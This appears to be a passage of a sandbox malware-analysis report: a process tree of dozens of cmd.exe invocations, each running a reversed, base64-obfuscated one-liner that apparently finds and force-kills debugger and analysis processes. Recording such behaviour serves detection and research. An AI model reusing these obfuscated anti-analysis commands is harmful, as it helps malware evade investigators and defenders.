  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1584
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5048
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5980
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5136
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2476
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4188
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4368
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5692
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3000
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2824
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:3916
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:488
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4568
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1428
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3612
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1088
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:840
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2452
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:708
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3420
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5704
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4288
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:572
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4400
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4556
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3940
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:468
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5720
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2664
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5512
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5784
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:6008
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4880
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4308
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3748
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2384
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1172
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4452
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1768
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4344
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5020
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3172
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2428
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4620
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4892
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1748
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4604
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5340
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2932
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1344
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1456
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2808
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:5060
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4908
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5108
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2320
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:2852
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3280
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3372
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2660
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4540
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:6132
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4744
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2896
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3552
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2552
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:4456
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5276
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmL4BXdiACZulmZgwHIsxGZugHc1BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4256
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuEGZp1WZoRnIgQmbpZGI8BCbsRmLhRWatVGa0BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:204
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRGN2gnIgQmbpZGI85FIsxGZucmYkRjN4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3260
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5yZiRmMzgnIgQmbpZGI85FIsxGZucmYkJzM4BSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2600
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYsxWejNnIgQmbpZGI85FIsxGZuEGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:4696
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuUGZph2XhxGb5N2ciACZulmZgwHXgwGbk5SZklGafFGbsl3YzBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:808
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SYklmIgQmbpZGI85FIsxGZuEGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2908
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5ibvhGd5BXYklmIgQmbpZGI85FIsxGZu42boRXewFGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1700
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucXYklmIgQmbpZGI8BCbsRmL3FGZpBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:1128
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GV0VmT09GRiACZulmZgwHXgwGbk5ycs92bURXZOR3bEBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3232
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZucmYklHbs9mIgQmbpZGI8BCbsRmLnJGZ5xGbvBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:2312
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2arNXY0BybkBSKnICbsRmLhJHZph2RiACZulmZgwHIsxGZuEmcklGaHBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5588
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4288
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuIXZrNWYIN3clN2byBlIgQmbpZGI8BCbsRmLyV2ajFGSzNXZj9mcQBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5384
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:572
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iclt2Yhh0czV2YvJHULJCIk5WamBCfgwGbk5iclt2Yhh0czV2YvJHULBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:5896
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4400
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C =EjJ+IDIsVnb8AiZvASYlASbp9CIsxWart2chRHIvRGIpciIsxGZuMHbv9GdlBnIgQmbpZGI8BCbsRmLzx2bvRXZwBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:3120
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4556
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5SZul2ZuVGdhVGajJCIk5WamBCfgwGbk5SZul2ZuVGdhVGajBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  PID:2928
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C xYiPyACb15GPgY2LgEWJg0WavACbsl2azFGdg8GZgkyJiwGbk5iMyJCIk5WamBCfgwGbk5iMyBSbvACdzlGbrNXY0dCKg4WagEWJgISM9Mnblt2b0JCIm9CIy9mZ
  2⤵
  - Executes a command shell one-liner
  PID:836
